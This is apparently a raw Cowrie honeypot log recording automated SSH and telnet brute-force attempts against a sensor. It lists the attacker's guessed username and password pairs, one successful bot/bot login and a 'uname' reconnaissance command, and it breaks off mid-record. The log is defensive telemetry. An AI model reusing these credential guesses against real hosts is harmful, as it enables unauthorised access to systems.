{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:03.150033Z","src_ip":"192.109.200.237","session":"359aea79fea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:04.237857Z","src_ip":"192.109.200.237","session":"359aea79fea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53698,"dst_ip":"159.203.135.109","dst_port":22,"session":"abf07edda2d7","protocol":"ssh","message":"New connection: 192.109.200.237:53698 (159.203.135.109:22) [session: abf07edda2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:06.275390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:06.283288Z","src_ip":"192.109.200.237","session":"abf07edda2d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:06.366257Z","src_ip":"192.109.200.237","session":"abf07edda2d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:06.614547Z","src_ip":"192.109.200.237","session":"abf07edda2d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:07.700262Z","src_ip":"192.109.200.237","session":"abf07edda2d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55810,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f6d4de37393","protocol":"telnet","message":"New connection: 152.42.224.71:55810 (10.17.0.5:23) [session: 0f6d4de37393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:08.827142Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53710,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f8052366b3","protocol":"ssh","message":"New connection: 192.109.200.237:53710 (159.203.135.109:22) [session: d5f8052366b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:09.631997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:09.638186Z","src_ip":"192.109.200.237","session":"d5f8052366b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:09.776728Z","src_ip":"192.109.200.237","session":"d5f8052366b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:10.113998Z","src_ip":"192.109.200.237","session":"d5f8052366b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:11.200927Z","src_ip":"192.109.200.237","session":"d5f8052366b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55822,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9f2f7808104","protocol":"telnet","message":"New connection: 152.42.224.71:55822 (10.17.0.5:23) [session: d9f2f7808104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:11.569921Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56476,"dst_ip":"159.203.135.109","dst_port":22,"session":"27e323b96ccc","protocol":"ssh","message":"New connection: 192.109.200.237:56476 (159.203.135.109:22) [session: 27e323b96ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:13.136941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:13.142244Z","src_ip":"192.109.200.237","session":"27e323b96ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:13.239899Z","src_ip":"192.109.200.237","session":"27e323b96ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:13.488441Z","src_ip":"192.109.200.237","session":"27e323b96ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.505114793777466,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:14.064916Z","src_ip":"152.42.224.71","session":"65f950262929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:14.583393Z","src_ip":"192.109.200.237","session":"27e323b96ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56492,"dst_ip":"159.203.135.109","dst_port":22,"session":"7873076408a7","protocol":"ssh","message":"New connection: 192.109.200.237:56492 (159.203.135.109:22) [session: 7873076408a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:16.364909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:16.370642Z","src_ip":"192.109.200.237","session":"7873076408a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:16.459609Z","src_ip":"192.109.200.237","session":"7873076408a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:16.729231Z","src_ip":"192.109.200.237","session":"7873076408a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:17.963591Z","src_ip":"192.109.200.237","session":"7873076408a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56500,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f4225aa99d","protocol":"ssh","message":"New connection: 192.109.200.237:56500 (159.203.135.109:22) [session: 51f4225aa99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:19.720420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:19.725533Z","src_ip":"192.109.200.237","session":"51f4225aa99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:19.817193Z","src_ip":"192.109.200.237","session":"51f4225aa99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:20.073052Z","src_ip":"192.109.200.237","session":"51f4225aa99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:21.159934Z","src_ip":"192.109.200.237","session":"51f4225aa99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32840,"dst_ip":"159.203.135.109","dst_port":22,"session":"067941694e85","protocol":"ssh","message":"New connection: 192.109.200.237:32840 (159.203.135.109:22) [session: 067941694e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:23.073376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:23.078410Z","src_ip":"192.109.200.237","session":"067941694e85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:23.161507Z","src_ip":"192.109.200.237","session":"067941694e85","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:23.597903Z","src_ip":"192.109.200.237","session":"067941694e85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:23.987294Z","src_ip":"192.109.200.237","session":"067941694e85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:23.991652Z","src_ip":"192.109.200.237","session":"067941694e85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:24.078414Z","src_ip":"192.109.200.237","session":"067941694e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:24.083938Z","src_ip":"192.109.200.237","session":"067941694e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.68325924873352,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:26.247194Z","src_ip":"152.42.224.71","session":"bcea8ee0358d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32842,"dst_ip":"159.203.135.109","dst_port":22,"session":"28581e9e4117","protocol":"ssh","message":"New connection: 192.109.200.237:32842 (159.203.135.109:22) [session: 28581e9e4117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:26.649321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:26.654473Z","src_ip":"192.109.200.237","session":"28581e9e4117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:26.740111Z","src_ip":"192.109.200.237","session":"28581e9e4117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:26.992393Z","src_ip":"192.109.200.237","session":"28581e9e4117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:28.077839Z","src_ip":"192.109.200.237","session":"28581e9e4117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48402,"dst_ip":"159.203.135.109","dst_port":22,"session":"768ac2d209a1","protocol":"ssh","message":"New connection: 192.109.200.237:48402 (159.203.135.109:22) [session: 768ac2d209a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:30.034379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:30.040631Z","src_ip":"192.109.200.237","session":"768ac2d209a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521